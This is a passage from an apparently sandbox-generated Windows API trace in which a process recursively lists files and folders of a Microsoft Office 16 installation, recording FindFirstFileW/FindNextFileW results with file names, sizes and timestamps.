ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4e2564e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8da50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0283.403] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc316698e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc316698e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc33c8ea0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x478a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0283.403] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee295a70, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0f0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="IECONT~1.EXE")) returned 1 [0283.403] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5f4be42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc5f4be42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd95d6d40, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xabb640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="IGX.DLL", cAlternateFileName="")) returned 1 [0283.403] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Installed_resources16.xss", cAlternateFileName="INSTAL~1.XSS")) returned 1 [0283.403] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Installed_schemas16.xss", cAlternateFileName="INSTAL~2.XSS")) returned 1 [0283.403] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3226418, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x658f8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Interceptor.dll", cAlternateFileName="INTERC~1.DLL")) returned 1 [0283.404] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2b97d2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2b97d2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2d87bf9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Interceptor.tlb", cAlternateFileName="INTERC~1.TLB")) returned 1 [0283.404] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0283.404] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2a40778, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2a40778, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2be41af, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x312a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="JitV.dll", cAlternateFileName="")) returned 1 [0283.404] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4e2564e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xa1658, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1 [0283.404] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1 [0283.404] GetProcessHeap () returned 0xaf0000 [0283.404] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.405] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.405] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0283.405] GetProcessHeap () returned 0xaf0000 [0283.405] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0283.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xaf54f91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ce40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0283.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf54f91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf54f91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf54f91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATPVBAEN.XLAM", cAlternateFileName="ATPVBA~1.XLA")) returned 1 [0283.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf7b1fc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf7b1fc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x279af, dwReserved0=0x0, dwReserved1=0x0, cFileName="FUNCRES.XLAM", cAlternateFileName="FUNCRE~1.XLA")) returned 1 [0283.408] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf54f91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf54f91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb16b0a3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf030, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 1 [0283.408] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf54f91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf54f91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb16b0a3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf030, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 0 [0283.408] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0283.409] GetProcessHeap () returned 0xaf0000 [0283.409] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.409] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0283.409] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 1 [0283.409] GetProcessHeap () returned 0xaf0000 [0283.409] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.410] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.410] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb16b0a3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe8dfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0283.410] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x35438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 1 [0283.410] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x35438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 0 [0283.410] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0283.410] GetProcessHeap () returned 0xaf0000 [0283.410] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.410] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0283.411] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0283.411] GetProcessHeap () returned 0xaf0000 [0283.411] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.412] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1 [0283.412] GetProcessHeap () returned 0xaf0000 [0283.412] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.483] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.483] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-100.png", cAlternateFileName="EXDF79~1.PNG")) returned 1 [0283.483] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-140.png", cAlternateFileName="EX9DAA~1.PNG")) returned 1 [0283.483] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-180.png", cAlternateFileName="EXD3EA~1.PNG")) returned 1 [0283.484] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-80.png", cAlternateFileName="EX9BE5~1.PNG")) returned 1 [0283.484] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-100.png", cAlternateFileName="EXC172~1.PNG")) returned 1 [0283.484] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-140.png", cAlternateFileName="EXCELL~3.PNG")) returned 1 [0283.484] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-180.png", cAlternateFileName="EX529E~1.PNG")) returned 1 [0283.484] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-80.png", cAlternateFileName="EXCELL~1.PNG")) returned 1 [0283.484] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x929, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-100.png", cAlternateFileName="EXCELL~4.PNG")) returned 1 [0283.484] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-140.png", cAlternateFileName="EXCELL~2.PNG")) returned 1 [0283.484] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdca, dwReserved0=0x0, dwReserved1=0x0, 